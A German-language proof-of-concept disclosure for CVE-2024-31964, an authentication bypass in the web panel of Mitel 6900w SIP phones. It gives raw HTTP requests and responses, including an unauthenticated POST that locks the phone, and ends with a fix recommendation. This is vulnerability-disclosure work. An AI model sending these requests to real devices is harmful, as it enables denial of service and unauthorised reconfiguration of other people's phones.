d-raco/cve-2024-31964CVE-2024-31964 PoC: Mitel 6900w Series SIP Phone - Temporäre Authentifizierungsumgehung
CVE-2024-31964 PoC: SIP-Telefon der Mitel-6900w-Serie - Vorübergehende Umgehung der Authentifizierung
Es handelt sich um eine Schwachstelle zur vorübergehenden Umgehung der Authentifizierung im HTTP-Verwaltungs-Webpanel mehrerer Mitel-Produkte.
Ermöglicht es einem Angreifer, die Gerätekonfiguration zu ändern und Denial-of-Service-Angriffe gegen das betroffene Gerät durchzuführen.
Ein Benutzer muss sich Minuten zuvor erfolgreich angemeldet haben, und zwar von derselben Quell-IP wie der Angreifer.
Vorgeschlagener CVSS:
Sicherheitshinweis: Mitel Product Security Advisory 24-0007
Diese CVE wurde bei der Überprüfung von 3 SIP-Telefonen mit den folgenden Eigenschaften entdeckt (diese CVE wurde erfolgreich gegen diese 3 Gerätemodelle getestet):
Laut Mitels Sicherheitshinweis sind weitere Produkte betroffen, aber ich hatte keinen Zugriff auf eines davon, um es zu verifizieren.
Im Allgemeinen ist es erforderlich, Anfragen mit dem „Authorization"-Header zu senden, um auf eine Ressource des Mitel-Webpanels zur Steuerung/Verwaltung zuzugreifen, da dieser Header die Anmeldedaten des Benutzers enthält, der versucht, darauf zuzugreifen.
Beispiel für eine authentifizierte Anfrage:
GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Authorization: Basic XXXXXXXXXXXX
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Falls dieser Header nicht gesetzt ist, erhalten wir einen „Unauthorized"-Fehler und werden zur Authentifizierung aufgefordert, wobei die Anmeldedaten erforderlich sind.
Nicht authentifizierte GET-Anfrage:
GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Antwort:
HTTP/1.1 401 Unauthorized
Server: XXX
WWW-Authenticate: Basic realm="Mitel 6920w"
Connection: close
Content-Length: 745
Content-Type: text/html
<html>
<head>
<title>HTTP 401 Unauthorized</title>
</head>
<body bgcolor="white">
<table width="450" cellpadding="3" cellspacing="5">
<tr>
<td>
<h1 style="COLOR: black; FONT: 13pt/15pt verdana">
You are not authorized to view this page</h1>
</td>
...
Es stellt sich jedoch heraus, dass alle POST-Anfragen der Anwendung ohne Setzen des Authorization-Headers gestellt werden können, d. h. als nicht authentifizierter Benutzer, sofern sich zuvor ein legitimer Benutzer von derselben Quell-IP wie der Angreifer angemeldet hat – und zwar nur für einen begrenzten Zeitraum (Messungen zufolge beträgt das Zeitfenster ungefähr 8 Minuten). Das heißt, wenn sich ein legitimer Benutzer auf der Verwaltungswebsite des Geräts anmeldet, gibt es ein Fenster von etwa 8 Minuten, in dem ein Angreifer mit derselben IP wie der angemeldete Benutzer nicht authentifizierte POST-Anfragen stellen könnte, ohne die Anmeldedaten zu kennen. Die Schwachstelle ist recht einschränkend, da die IP mit einem legitimen Benutzer geteilt werden muss, aber in Fällen, in denen ein PC gemeinsam genutzt wird oder über denselben Proxyserver auf Computer zugegriffen wird, wären die Ausnutzungsmöglichkeiten höher.
Mithilfe von POST-Anfragen ist es möglich, Benutzerpasswörter zu ändern (erfordert vorherige Kenntnis des Passworts), das Gerät zu sperren/zu entsperren, das Gerät zurückzusetzen, CSV-Dateien mit Kontakten hochzuladen, den Konfigurationsserver zu konfigurieren usw.
Wenn wir beispielsweise versuchen, das Gerät ohne den Authorization-Header zu sperren, sehen wir, dass das Gerät tatsächlich blockiert wird und dem Benutzer der Dienst verweigert wird. Wir können das Telefon außerdem neu starten und so den Dienst vorübergehend vollständig verweigern. Als schnellen Test haben wir außerdem die Kurzwahltasten und den Konfigurationsserver erfolgreich geändert.
Beispiel für eine nicht authentifizierte Telefonsperre-Anfrage:
POST /phonelock.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: https://10.XX.XX.246
Dnt: 1
Referer: https://10.XX.XX.246/phonelock.html
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
EmergencydialPlan=112%7C999%7C911%7C110&autolockDelay=0&autounlockDelay=0&lock=Bloquear
Erfolgreiche nicht authentifizierte Antwort:
HTTP/1.1 200 OK
X-Frame-Options: DENY
Content-Length: 4160
Connection: close
Accept-Language: es
Content-Type: text/html
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Mitel 6920w</title>
<link rel='stylesheet' type='text/css' href='aastra.css' />
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon" />
...
<div id='content'>
<p>Teléf. bloqueado</p>
</div></div><div id='footer'><span class='copyright'>Copyright © 2023 Mitel Networks Corporation</span><span class='support'><a href='support'>Servicio de soporte técnico</a></span></div></div></body></html>
Zusätzlich können wir einen Geräte-Reset anfordern:
Und mit Ping den vorübergehenden Verbindungsverlust überprüfen:
Wir können die meisten Parameter ändern... Zum Beispiel den FTP-Server:
Der Authorization-Header sollte immer erforderlich sein und validiert werden, und/oder die Sitzung sollte mit Cookies verwaltet werden, nicht mit Quell-IPs.